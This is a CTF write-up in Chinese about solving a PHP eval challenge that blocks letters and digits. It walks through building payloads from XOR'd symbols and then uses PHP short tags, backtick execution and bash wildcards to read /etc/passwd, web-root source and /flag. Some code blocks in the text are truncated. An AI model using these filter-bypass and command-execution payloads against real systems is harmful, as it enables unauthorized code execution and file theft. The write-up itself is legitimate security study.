一开始看这题满脑子想的都是用异或来做,结果发现没办法调用getflag函数,看了别人的wp才发现思路错了。
错误思路
毕竟这个思路也蛮清奇,大概说一下吧:
思考这一个题目
1 | if(isset($_GET['code'])){ |
code参数由正则过滤了大小写字母以及数字,那么我们可以通过符号异或构造payload。
以下脚本可以打印出符号异或得到的值,经过试验26个字母的大小写都可以通过这种方法得到:
1 | def xor(): |
可以看到 ‘[‘ ^’<’ =’g’, ‘[‘^’>’=’e’, …
那么使用'[[]|@[['^'<>):,:<'
就可以得到字符串’getFlag’,下面就是怎么调用,想到 $_='getFlag';$_();
等同于getFlag();'
, 那么使用$_='[[]|@[['^'<>):,:<';$_();
就可以调用了,那么最后的payload就是code=$_='[[]|@[['^'<>):,:<';$_();
按照此原理,可以构造出一句话比如:
1 |
|
回到题目
再看一下这道题目
1 |
|
在正则过滤那边,可以看到$
和_
都被过滤了,这直接导致了即使用上述方法得到了字符串,也没办法执行php的函数(这里纠正一下,php7中我们是可以通过('func_name')()
在执行函数的,这样其实我的错误思路是可行的,甚至在无字母数字webshell之提高篇中,作者直接使用了取反字符串的方法构造了payload)。正确的做法使用php短标签是直接读文件,考虑如下php代码:
1 | = `ls` |
执行结果
可以看到,<?= ?>
是php的短标签,效果等同于:
1 | echo `ls` |
那么在eval中怎么用这个短标签呢?答案是先使用tag(?>
)离开当前模式,再使用短标签,即1
2
3
4
5
6
接下来就是怎么绕过正则了,bash里面用通配符绕过就好了,即
```bash
cat /etc/passwd #替换为
/???/??t /??c/p???w?
因此paylaod为code=?><?=`/???/??? /???/???/????/*`;?>
(code=?><?=` /bin/cat /var/www/html/*`;?>)
, 会发现php代码里面的源代码getflag那一部分的函数是是从/flag里面读取的,那么构造code=?><?=`/???/??? /????`;?>
相当于code=?><?=` /bin/cat /flag`;?>
即可。